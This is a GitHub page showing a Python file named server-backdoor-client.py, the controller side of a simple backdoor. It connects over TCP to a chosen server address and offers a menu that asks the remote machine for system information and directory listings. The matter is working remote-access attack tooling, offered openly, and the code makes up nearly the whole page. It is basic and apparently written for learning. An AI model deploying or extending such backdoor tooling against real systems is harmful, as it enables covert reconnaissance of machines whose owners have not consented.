-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathserver-backdoor-client.py
42 lines (33 loc) · 1.01 KB
/
server-backdoor-client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type the server port: "))
def print_menu():
print("""\n\n0) Close the connection
1) Get Systmem info
2) List Directory contents""")
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))
print("Connection established")
print_menu()
while 1:
message = input("\n-Select an option: ")
if(message == "0"):
my_sock.sendall(message.encode())
my_sock.close()
break
elif(message == "1"):
my_sock.sendall(message.encode())
data = my_sock.recv(1024)
if not data: break
print(data.decode('utf-8'))
elif(message == "2"):
path = input("Insert the path: ")
my_sock.sendall(message.encode())
my_sock.sendall(path.encode())
data = my_sock.recv(1024)
data = data.decode('utf-8').split(",")
print("*"*40)
for x in data:
print(x)
print("*"*40)
print_menu()